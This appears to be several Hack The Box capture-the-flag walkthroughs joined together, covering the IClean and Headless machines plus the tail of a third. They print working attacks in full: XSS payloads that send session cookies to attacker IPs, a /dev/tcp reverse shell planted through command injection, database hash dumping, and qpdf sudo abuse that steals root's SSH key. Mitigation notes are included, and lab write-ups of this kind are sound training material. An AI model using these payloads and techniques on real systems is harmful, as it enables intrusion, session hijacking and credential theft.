┌──(emdeh㉿kali)-[~/Downloads]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

3. Do the same for nc.exe and place it in the specified location for which the malicious instructions.chm file will look. In this case, C:\Users\Chris\.

PS C:\Docs> wget -Uri "http://10.10.14.4:8000/nc.exe" -OutFile "C:\Users\Chris\nc.exe"
wget -Uri "http://10.10.14.4:8000/nc.exe" -OutFile "C:\Users\Chris\nc.exe"

PS C:\Docs> wget -Uri "http://10.10.14.4:8000/instructions.chm" -OutFile "C:\Docs\instructions.chm"
wget -Uri "http://10.10.14.4:8000/instructions.chm" -OutFile "C:\Docs\instructions.chm"

4. Once the file is retrieved by the mean CEO and opened, it will call back to the listener and a shell running in the administrator context is established

And the root flag is found.

Nmap Command Breakdown

Introduction

IClean is rated as a medium difficulty. It begins with enumerating a Flask web app and exploiting an XSS vulnerability to steal a session cookie. The cookie is used to bypass the /login page authentication and access a /dashboard page. An SSTI vulnerability is exploited on this page to establish remote code execution. Due to hardcoded credentials in a Python script, hashes are dumped from a database. One hash is cracked, which enables lateral movement to a standard user's account. The standard user has sudo rights over a binary, which is exploited to exfiltrate the `root` user's /id_rsa file to achieve privilege escalation.

Contents

• Introduction

  • Vulnerabilities explored

    • XSS

    • Session hijacking

    • SSTI

    • Insecure coding - hardcoded credentials

    • Sudo misconfiguration

  • Tools

  • Tactics and Methods

• Enumeration

• Initial access

• Lateral movement

• Privilege escalation

Vulnerabilities explored

Cross-Site Scripting scripting

As discussed in the Headless walkthrough, Cross-Site Scripting (XSS) is a type of vulnerability that allows a threat actor to inject a malicious payload into content that other users will view. When the content is viewed, the malicious payload will be executed, which can lead to data theft, session hijacking, and other types of breaches. See the linked article for a deeper explanation of XSS vulnerabilities.

Session hijacking

Also discussed in the Headless walkthrough, session hijacking involves exploiting a session by stealing or predicting a valid token. The token can then be used to bypass authentication mechanisms and/or steal data.

Mitigation

Some additional mitigation to what was discussed in the Headless walkthrough article include:

• Use HTTPS: Ensure all communication between the client and server is encrypted using HTTPS to prevent session hijacking via network sniffing.

• User-Agent and IP Binding: To prevent session hijacking, bind the session to the user’s IP address and User-Agent string.

Server-Side Template Injection

Server-side template Injection (SSTI) occurs when a threat actor exploits a web application’s template rendering system by injecting malicious code into the templates. This happens when the template engine fails to properly distinguish between the template code and user-provided data to populate the placeholders. As a result, the injected code is processed as part of the template, leading to the execution of malicious payloads.

Mitigation

To avoid SSTI vulnerabilities, the following can be considered:

• Input Validation: Validate and sanitise all user inputs to ensure they do not contain executable code.

• Use Secure Templates: Choose template engines with built-in security features and avoid using insecure or outdated ones.

• Escape User Inputs: Always escape user inputs before including them in templates to prevent execution as code.

• Whitelist Inputs: Use a whitelist approach to limit the types of data that can be included in templates.

• Limit Template Functionality: Restrict the capabilities of the template engine to minimise the risk of code execution.

• Separate Data and Code: To prevent mixing executable code with user inputs, ensure a clear separation between the template logic and user data.

• Security Audits: Regularly perform security audits and code reviews to identify and fix potential SSTI vulnerabilities.

• Keep Dependencies Updated: Regularly update the template engine and other dependencies to the latest versions with security patches.

Insecure coding - hardcoded credentials

Similarly to Headless, insecure coding practices can lead to significant attack vectors. In this case, database credentials were hard coded, enabling lateral movement.

Mitigation

• Environment variables: Store credentials in environment variables rather than the source code.

import os
db_password = os.getenv('DB_PASSWORD')

• Configuration files: Store credentials and sensitive information in configuration files that are not included in version control, ensuring they are secured with appropriate permissions.

{
  "db_password": "your_password"
}

• Secrets Management Tools: Use dedicated secrets management tools like AWS Secrets Manager or Azure Key Vault.

• Secrets Rotation: Regularly rotate secrets and credentials to reduce the risk of compromised credentials.

• Secure Code Reviews: Conduct regular code reviews, focusing on security, to identify and remediate hardcoded credentials and other insecure coding practices.

Sudo misconfiguration

As discussed in Headless, the sudoers file controls which users can execute commands with elevated privileges. If this file is configured to allow a user to run certain commands as the superuser.

Some binaries, when executed with elevated privileges, can be used to perform tasks that compromise the system's security. For instance, if a binary allows file manipulation, a threat actor can use it to gain higher privileges or conduct further exfiltration of sensitive data.

Tools

• Nmap

• Gobuster

• Burpsuite

• Hashcat

Tactics and Methods

Enumerating webpages

• Gobuster was used to enumerate pages of the site, which identified the target page /dashboard.

Stealing cookies by exploiting a Reflected XSS vulnerability

• Burpsuite was used to observe the HTTP requests while using the target site, ultimately leading to the identification of an XSS vulnerability and the exfiltration of a session cookie.

Authentication bypass via session hijacking

• Authentication to the target page /dashboard was achieved by using the stolen cookie to hijack a session.

Remote code execution by exploiting an SSTI vulnerability

• The SSTI vulnerability in the /QRGenerator was exploited to achieve remote code execution and establish a reverse shell within the context of the www-data user.

Brute-forcing hashed passwords

• Hashcat was used to crack the hashes stolen from the users database and compromise a standard user’s account.

Abusing sudo to exfiltrate sensitive data and achieve privilege escalation

• Privilege escalation was achieved by stealing the root user’s id_rsa file by exploiting a vulnerability in the qpdf binary that the compromised user had sudo rights over.

Enumeration

Nmap scanning

As always, the target is scanned with Nmap.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/iclean/scans]
└─$ nmap -A 10.129.10.21 | tee nmap-output.txt

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 01:21 EDT
Nmap scan report for 10.129.10.21
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.79 seconds

Findings

1. Port 22

2. Port 80

Port 80 Enumeration

Navigating to the site results in Server Not Found but reveals the domain:

http://capiclean.htb/.

Adding to /etc/hosts/ file resolves the target to a landing page:

There is a login page at capiclean.htb/login, and a page to submit a quote at capiclean.htb/quote.

Further page enumeration

Further enumeration was conducted with Gobuster:

(emdeh㉿kali)-[~/Documents/htb-machines/iclean/scans]
└─$ gobuster dir -u http://capiclean.htb -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 100 -x php,html -o gobuster-scan.txt

This command uses Gobuster to brute-force directories (pages) on the site.

• gobuster dir: This tells Gobuster to use its directory and file brute-forcing mode.

• -u http://capiclean.htb: Specifies the target URL to be scanned,

• -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt**: Specifies the path to the wordlist that Gobuster will use for brute-forcing.

• -t 100: Sets the number of concurrent threads to use for the scan. In this case, Gobuster will use 100 threads to speed up the process.

• -x php,html: Specifies the file extensions to append to each word in the wordlist. Gobuster will check for both .php and .html extensions.

• -o gobuster-scan.txt: Specifies the output file where the results will be saved. The results of this scan will be written to gobuster-scan.txt.

Early results reveal a /dashboard page with a status code of 302, suggesting it was found but redirected to the root of the site, presumably because it is behind the /login page. This is likely the target page.

Quote page enumeration

Observing the POST request for the /quote page in Burpsuite reveals the server will accept image types. This may lead to the possibility of exfiltrating cookies via XSS.

Initial access

XSS to exfiltrate cookies

Given there was a login page, it may be possible to perform an XSS attack to extract session cookies and impersonate a user by appending the following to the URL parameter in the POST request:

service=<img src=x onerror=fetch("http://IP:4444/"+document.cookie);>

This attempts to exfiltrate cookies to a remote server.

• &service=: This part of the string is the URL parameter named service.

• <img src=x onerror=...>: This is an HTML img tag. Normally, the src attribute specifies the path to the image. However, in this case, an x is used to trigger an error event.

• onerror=...: The onerror attribute is an event handler that executes JavaScript code when an error occurs while loading the image (because src=x will fail).

• fetch("http://RemoteIP:4444/"+document.cookie);: This JavaScript code is executed when the image fails to load. It uses the fetch function to make an HTTP request to the attacker’s server (http://ATTACK_IP:4444/). The +document.cookie part appends the document’s cookies to the URL, effectively sending them to the attacker’s server.

Repeating the POST request after adding the payload and URL-encoding it looks like this:

Starting a listener captures the cookie as expected:

┌──(emdeh㉿kali)-[~/Documents/htb-machines/iclean/credentials]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.129.10.21] 56354
GET /session=eyJyb2xlIjoiMj<SNIP>.0qvcHllPTlaUvubvwVzl77I1glM HTTP/1.1
Host: 10.10.14.6:4444
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:3000
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Session hijacking with stolen cookie

The cookie can be used to impersonate a session. By inspecting the login page, the cookie can be added to storage. Then, attempting to browse to the /dashboard page, which would typically sit behind the login page, can be done by simply changing the URL.

As the session will use the stolen cookie, the page loads as expected.

Dashboard enumeration

Generating an invoice and using the invoice number to generate a QR code creates a link that can be submitted to return a scannable invoice.

Observing the resulting POST request in Burpsuite suggests that this may be the vector for obtaining a reverse shell through a Server-Side Template Injection (SSTI).

Server-side template injection for a reverse shell

Identifying the Template engine

git a The HTTP headers reveal the server is using the Werkzeug/2.3.7 utility library for Python, which is common for Flask applications. Flask typically defaults to using Jinja2 for templating.

• Werkzeug: Provides the underlying Web Server Gateway Interface (WSGI) functionality and utilities for Flask.

• Flask: A web framework that uses Werkzeug and often Jinja2 for templating.

• Jinja2: The default template engine used by Flask for rendering HTML templates.

Testing

Using simple payloads can confirm if SSTI is possible. e.g., ``.

The diagram below from PortsSwigger can help confirm if an SSTI vulnerability is present and also identify the underlying template engine.

Construct the Malicious Payload

Assuming Jinja2, and with the help of A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (kleiber.me) the following payload was constructed:

URL-encoding and inputting the payload into the vulnerable parameter and sending the request results in a shell.

<img src="/assets/img/2024/iclean/icleanqrgenhttp.png" alt="icleanqrgenhttp.png" class="auto-resize">


<img src="/assets/img/2024/iclean/icleannclistener.png" alt="icleannclistener.png" class="auto-resize">

### Stabilising the shell

The shell can be stabilised with the following python command.

```python
python -c 'import pty; pty.spawn("/bin/bash")'

Lateral movement

Stealing hashes

In the present working directory, there is a app.py script. Within it are hardcoded credentials for a database.

# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': '<SNIP>',
    'database': 'capiclean'

At the start of the script, there is an import for pymysql, confirming the type of database to be MySQL.

As the Database is running locally, it can be connected to by passing the username and inputting the password when prompted:

Listing the databases finds one named capiclean.

mysql> SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| capiclean          |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

Switching to capiclean and listing tables reveals a table of users.

mysql> USE capiclean;
USE capiclean;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests      |
| services            |
| users               |
+---------------------+
3 rows in set (0.00 sec)

Dumping database table

Selecting all rows from the users table reveals two rows with hashed passwords.

Cracking the hash

The hash is most likely a SHA-256.

The following 8 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   1400 | SHA2-256                                                   | Raw Hash
  17400 | SHA3-256                                                   | Raw Hash
  11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian           | Raw Hash
   6900 | GOST R 34.11-94                                            | Raw Hash
  17800 | Keccak-256                                                 | Raw Hash
   1470 | sha256(utf16le($pass))                                     | Raw Hash
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated

Please specify the hash-mode with -m [hash-mode].

Started: Sun May 26 20:00:37 2024
Stopped: Sun May 26 20:00:39 2024

Using Hashcat with -m 1400 cracks it.

Logging in via SSH

The stolen password can now be used to log in via SSH, and the first flag is found.

──(emdeh㉿kali)-[~/Documents/htb-machines/iclean/credentials]
└─$ ssh consuela@capiclean.htb
The authenticity of host 'capiclean.htb (10.129.11.43)' can't be established.
ED25519 key fingerprint is SHA256:3nZua2j9n72tMAHW1xkEyDq3bjYNNSBIszK1nbQMZfs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'capiclean.htb' (ED25519) to the list of known hosts.
consuela@capiclean.htb's password:
<SNIP>
consuela@iclean:~$ pwd
/home/consuela
consuela@iclean:~$ ls
user.txt
consuela@iclean:~$ cat user.txt
<SNIP>

Privilege escalation

Abusing sudo

Checking sudo rights, reveals a binary that the consuela user can run.

consuela@iclean:~$ sudo -l
[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

The qpdf binary is a program and C++ library for structural, content-preserving transformations on PDF files.

The usage help menu gives some clues about the utility.

consuela@iclean:~$ qpdf --help=usage
Read a PDF file, apply transformations or modifications, and write
a new PDF file.

Usage: qpdf [infile] [options] [outfile]
   OR  qpdf --help[={topic|--option}]

- infile, options, and outfile may be in any order as long as infile
  precedes outfile.
- Use --empty in place of an input file for a zero-page, empty input
- Use --replace-input in place of an output file to overwrite the
  input file with the output
- outfile may be - to write to stdout; reading from stdin is not supported
- @filename is an argument file; each line is treated as a separate
  command-line argument
- @- may be used to read arguments from stdin
- Later options may override earlier options if contradictory

Related options:
  --empty: use empty file as input
  --job-json-file: job JSON file
  --replace-input: overwrite input with output

For detailed help, visit the qpdf manual: https://qpdf.readthedocs.io

After reading the documentation, it seems there is an option to add a file to an empty PDF and convert it to a qdf format, typically used to debug or analyse the inner details of a legitimate pdf.

The user can run the binary as sudo, this can be exploited to exfiltrate data that would otherwise be inaccessible to the consuela user.

Exfiltrating sensitive data

For example, the following command has appended the root flag from /root/ to a new file that is accessible to the current user.

consuela@iclean:~$ sudo /usr/bin/qpdf --empty /tmp/test.txt --qdf --add-attachment /root/root.txt --
consuela@iclean:~$ cat /tmp/test.txt | grep -A 30 "root"
<SNIP>

But that’s too easy. The admin user’s id_rsa file could also be exfiltrated:

consuela@iclean:~$ sudo /usr/bin/qpdf --empty /tmp/id_rsa --qdf --add-attachment /root/.ssh/id_rsa --
consuela@iclean:~$ cat /tmp/id_rsa | grep -A 10 "BEGIN" /tmp/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1<SNIP>
-----END OPENSSH PRIVATE KEY-----
endstream
endobj
consuela@iclean:~$

Taking the key and adding it to a file with chmod 600 permissions

┌──(emdeh㉿kali)-[~/Documents/htb-machines/iclean/credentials]
└─$ nano id_rsa_admin
┌──(emdeh㉿kali)-[~/Documents/htb-machines/iclean/credentials]
└─$ chmod 600 id_rsa_admin
┌──(emdeh㉿kali)-[~/Documents/htb-machines/iclean/credentials]
└─$ ssh -i id_rsa_admin root@capiclean.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
<SNIP?
root@iclean:~# pwd
/root
root@iclean:~# ls
root.txt  scripts
root@iclean:~# cat root.txt
33e5361<SNIP>

And the root flag is found.

Subscribe now

Introduction

Headless is rated as an easy box. It begins with exploiting a Reflected Cross-Site Scripting (XSS) vulnerability to steal a cookie. Requests to a restricted page are manipulated to include the stolen cookie to hijack an admin session, and access the page. From there, an un-sanitised field on a form is abused to obtain remote code execution via a reverse shell. Privilege escalation is achieved by abusing a sudo misconfiguration.

Contents

• Introduction

  • Vulnerabilities explored

  • Tools

  • Tactics and Methods

• Enumeration

  • Nmap scanning

  • Server enumeration

  • Web form enumeration

• Initial access

  • Stealing cookies via a Reflected XSS

  • Cookie manipulation

  • Enumerating the Select Date field

  • Command injection

• System enumeration

• Privilege escalation

Vulnerabilities explored

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is a security vulnerability typically found in web applications. XSS allows attackers to inject malicious scripts into content that other users will view. When this content is viewed, the malicious script executes, which can lead to data theft, session hijacking, and other types of security breaches.

There are three main types of XSS:

1. Reflected XSS: The malicious script comes from the user’s current request.

2. Stored XSS: The malicious script is stored on the server (e.g., in a database) and later sent to users.

3. DOM-based XSS: The vulnerability is on the client rather than the server-side code.

This machine demonstrated a reflected XSS.

Example of Reflected XSS

Imagine a website with a search function that reflects user input in its response without proper input sanitisation or encoding. For instance:

<!-- Example of a vulnerable HTML page --> 
<html> 
<body> 
	<form method="GET" action="search"> 
		<input type="text" name="query"> 
		<input type="submit" value="Search"> 
	</form> 
	<p>You searched for: <?php echo $_GET['query']; ?></p> 
</body> 
</html>

If a user inputs a search term like <script>alert('XSS')</script>, and the server includes this input in the HTML response without sanitising, the script will execute in the user’s browser. This script could be something more malicious, like stealing cookies or other sensitive information.

Mitigation

• Input Sanitisation: Always sanitise all inputs, especially those that can be reflected back to the user in any form. This includes less obvious fields like HTTP headers (hint: that’s the vector for this machine).

• Content Security Policy (CSP): Implementing a robust CSP can help prevent XSS by restricting the sources from which scripts can be loaded and executed.

• Secure Coding Practices: Employ secure coding practices that involve encoding user inputs to treat them as data rather than executable code.

Cookie manipulation

Cookie manipulation involves altering the contents of a cookie before it is sent to the server. This could involve changing session tokens, user IDs, or other data stored in cookies to escalate privileges or change user settings.

Mitigation

• Use Secure Cookies: Set cookies with the Secure attribute to ensure they are only sent over HTTPS, preventing transmission over unencrypted connections.

• HttpOnly Attribute: Use the HttpOnly attribute to prevent access to cookie values via JavaScript. This helps protect against XSS attacks that attempt to steal cookies.

• SameSite Attribute: The attribute restricts how cookies are sent with cross-site requests. This can help prevent cross-site request forgery (CSRF) attacks.

• Cookie Integrity: Implement mechanisms to ensure the integrity of cookie values, such as signing cookies with a secret key. An integrity check can detect if the cookie has been tampered with.

• Strict Validation: Validate all input from cookies before use. Do not trust data stored in cookies without validation, especially for access control decisions.

Session hijacking

Session hijacking, also known as session takeover, involves exploiting a valid computer session—most often by stealing or predicting a valid session token—to gain unauthorized access to information or services in a computer system.

Mitigation

• Session Expiration: Implement session expiration and timeout mechanisms that automatically log users out after a period of inactivity or after a maximum session duration.

• Regenerate Session IDs: Regenerate session IDs after a successful login to prevent session fixation attacks, where an attacker fixes the session ID before the user logs in.

• Monitor and Validate Sessions: Monitor session activity for anomalies and validate sessions based on multiple attributes (e.g., IP address, User-Agent) to detect and prevent hijacking.

Command injection

Command injection vulnerabilities can occur anywhere an application passes user input to a system shell command. If the user input is not properly sanitized, attackers can append additional commands or alter the intended command, leading to potentially severe consequences such as unauthorized access, data leakage, or server compromise.

Mitigation

• Proper Input Validation: Ensure all user inputs are validated against a strict set of rules. Only allow known good inputs to pass through and be used in commands.

• Avoid Using Shell Commands: Where possible, avoid using shell commands altogether. Use built-in library functions provided by your programming language or framework that perform the desired operations without invoking the shell.

• Use Safe APIs: If you must execute system commands, use safe APIs that avoid shell execution, such as parameterized functions or APIs that do not involve the shell.

• Escaping Special Characters: If system commands must include user input, ensure that special characters are properly escaped and treated as literal values rather than executable code. However, escaping should be a last resort after safer alternatives have been considered.

• Use Least Privilege Principles: Run applications with the minimum permissions necessary. Restricting the privileges of the application environment can limit the damage an attacker can do if they manage to inject commands.

Sudo misconfiguration

The sudoers file controls which users can execute commands with elevated privileges. If this file is configured to allow a user to run certain commands as the superuser without requiring a password, it may lead to security risks if the commands are inherently dangerous or can be exploited.

Some binaries, when executed with elevated privileges, can be used to perform tasks that compromise the system's security. For instance, if a binary allows file manipulation, code execution, or access to the shell, an attacker can use it to gain higher privileges or execute arbitrary commands.

Mitigation

• Review and Restrict Sudo Policies: Regularly audit the sudoers file to ensure only necessary permissions are granted. Commands that can be exploited for privilege escalation should not be runnable with elevated privileges without strong justifications and controls.

• Password Protections: Require passwords for sudo access to add an extra layer of security, ensuring that only authenticated users can execute commands with elevated privileges.

• Security Training and Awareness: Educate administrators and users about the risks of improper sudo configurations and encourage security best practices.

• Use Secure Programming Practices: When developing applications for environments with sudo access, ensure they are securely coded to prevent exploitation.

• Regular Security Audits: Perform security audits and vulnerability assessments regularly to identify and mitigate risks associated with privilege escalation.

Insecure coding practices

Insecure coding practices can lead to significant vulnerabilities, allowing attackers to exploit the application. Here are common insecure coding practices observed:

• Improper Input Sanitisation: Failing to sanitise user inputs properly can lead to various forms of injection attacks, including SQL, command, and script injections. In the context of the “Headless” box, the lack of sanitisation in the date selection field allowed for command injection, demonstrating how critical rigorous input validation is to security.

• Using Relative Paths for File Execution: Utilising relative paths for file execution, as seen with the initdb.sh script in the syscheck binary, poses a security risk. It can lead to unauthorised file execution if an attacker can place a malicious file in the expected path, leading to privilege escalation.

Mitigation

• Implement Thorough Input Validation: Ensure all user inputs are validated against a strict set of rules. Reject any input that does not strictly conform to expected patterns, especially in command execution or database queries.

• Use Absolute Paths: Always use absolute paths when referencing executables or other files within code. This practice prevents directory traversal attacks and ensures that the application only accesses files explicitly defined in the code.

• Adopt Secure Coding Standards: Follow secure coding guidelines and standards, such as the OWASP Top 10, to understand and mitigate common vulnerabilities. Regular code reviews and security audits can also help catch and fix insecure practices early in the development lifecycle.

Tools

• Nmap

• Burpsuite

Tactics and Methods

Exploiting a Reflected XSS vulnerability to steal cookies

• The web form fields were sanitised, but the HTTP headers were not. Exploiting the lack of sanitisation on the User-Agent (or Accept) field in the headers allows for a cookie to be stolen.

Authentication bypass via cookie manipulation and session hijacking

• By manipulating the HTTP headers to include a stolen cookie, an admin session was hijacked and unauthorised access to a dashboard was obtained.

Remote code execution via command injection

• By exploiting a field on the dashboard that was not sanitised, a reverse shell was created and executed server-side.

Abusing Sudo to achieve privilege escalation

• A relative path within a binary the standard user could run as sudo with no password was exploited to call a malicious script to execute a reverse shell as root.

Enumeration

As always, begin with Nmap scanning

Nmap scanning

┌──(emdeh㉿kali)-[~/Documents/htb-machines/headless/scans]
└─$ nmap -A 10.129.27.108 | tee nmap-output.txt

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 23:51 EDT
Nmap scan report for 10.129.27.108
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sat, 13 Apr 2024 03:52:24 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

Findings

1. Port 22

2. Port 5000 with some additional details

5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sat, 13 Apr 2024 03:52:24 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>

The server header indicates the use of Werkzeug/2.2.2 Python/3.11.2, suggesting a Python-based web application, possibly Flask. The presence of a cookie with the name is_admin is particularly interesting. It suggests the application might be vulnerable to cookie tampering or session management vulnerabilities.

Possible vectors include:

• Cookie Manipulation: You can explore manipulating this cookie. Try decoding it if it’s base64-encoded, or if it looks like a serialized Python object, consider object deserialization attacks.

• Directory Traversal/File Inclusion: Since it’s a web server, you might also investigate directory traversal or file inclusion vulnerabilities.

Server enumeration

Dirsearch is used to find other pages to enumerate on.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/headless/scans]
└─$ dirsearch -u http://10.129.27.108:5000
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Documents/htb-machines/headless/scans/reports/http_10.129.27.108_5000/_24-04-13_00-10-00.txt

Target: http://10.129.27.108:5000/

[00:10:00] Starting:
[00:12:25] 401 -  317B  - /dashboard
[00:14:28] 200 -    2KB - /support

Task Completed

Two pages are identified:

1. http://10.129.27.108:5000/dashboard results in Unauthorized.

2. http://10.129.27.108:5000/support returns a web form.

Webform enumeration

Using Burpsuite, the responses to the submissions can be monitored.

A benign submission results in an unremarkable POST request with a 200 status code.

Sending a URL-encoded reverse shell returns a Hacking Attempt Detected* warning, with the previously identified cookie displayed.

The cookie’s first part decodes from Base-64 to user. The second part is not clearly discernible. If it were a JWT, the second part would be the payload, so perhaps this represents unique users.

The inclusion of the cookie in various locations suggests that perhaps other cookies can be stolen.

Initial access

Stealing cookies via a Reflected XSS

User-Agent as an injection point

The server is displaying an error page when a hacking attempt is detected, and this page includes the User-Agent string, along with other client request information. If this information is not sanitised before being included in the HTML of the error page, it could lead to an XSS vulnerability.

The payload

The following payload uses an error-handling method to execute JavaScript.

<img src=x onerror=fetch('http://IP/?c='+document.cookie);>

• <img src=x>: This part attempts to load an image from a source that doesn’t exist (x), which will naturally cause an error.

• onerror=fetch(...): The onerror attribute of the <img> tag fires when an error occurs (like failing to load the image). It triggers the fetch API call.

• fetch('http://IP/?c='+document.cookie): This JavaScript fetches a URL, appending the document’s cookies as a query parameter.

The fetch part is a classic technique for stealing cookies if the attacker controls the fetched domain, which, in this case, it is.

Executing the attack

To execute the attack, Burpsuite can be used to repeat the POST method used to submit a form.

The payload is then placed in the User-Agent field. However, any of the fields that are rendered in the HTML of the error page could potentially work. For example, replacing the Accept value with the payload also worked in this instance.

The message field of the form needs to include something that will trigger the error. This could be the reverse shell attempted earlier or a copy of the payload in the User-Agent field - it doesn’t matter as long as it triggers the error.

Including the cookie stealing payload in the message field is only to trigger the error; it does not actually execute from here because this field is not displayed back on the error page.

POST /support HTTP/1.1
Host: 10.129.27.108:5000
Content-Length: 140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.129.27.108:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: <img src=x onerror=fetch('http://10.10.14.6/?c='+document.cookie);>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.27.108:5000/support
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Connection: close

fname=emdeh&lname=emdeh&email=emdeh%40emdeh.com&phone=emdeh&message=abc; <img src=x onerror=fetch('http://10.10.14.6/?c='+document.cookie);>

Once the payload is ready, a webserver is started to receive the document.cookie value as a query parameter to the malicious GET request the server is inadvertently tricked into sending.

┌──(emdeh㉿kali)-[~/Documents]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.27.108 - - [13/Apr/2024 01:12:14] "GET /?c=is_admin=ImFkbWluIg.<SNIP> HTTP/1.1" 200 -

Cookie manipulation

Putting the captured cookie through a decoder reveals it has a header value of admin. Given the original cookie had a value of user, it would appear an administrator cookie has been obtained.

Including the cookie in a request to the /dashboard page successfully hijacks an admin session and reveals the Administrator Dashboard with a simple form to generate a website health report with a Select Date field.

Enumerating the Select Date field

Testing to see if the Select Date field is properly sanitised quickly suggests it is not. Including ;ls returns a list of files to the browser, as shown below.

Command injection

Attempting to exploit this to execute a reverse shell fails. Another option is to attempt to create a reverse shell in a file and then subsequently call the file.

Try to create a reverse shell on the server; the following command is injected into the field:

echo '#!/bin/bash' > reverse_shell.sh && echo 'sh -i >& /dev/tcp/10.10.14.6/4321 0>&1' >> reverse_shell.sh

The command is URL-encoded and submitted, making sure to include the stolen cookie in the HTTP headers.

Another command can be sent to validate that the file has been created successfully.

After confirming the file was successfully created, it can be called and the resulting shell caught on a netcat listener as shown below.

And the first flag was found.

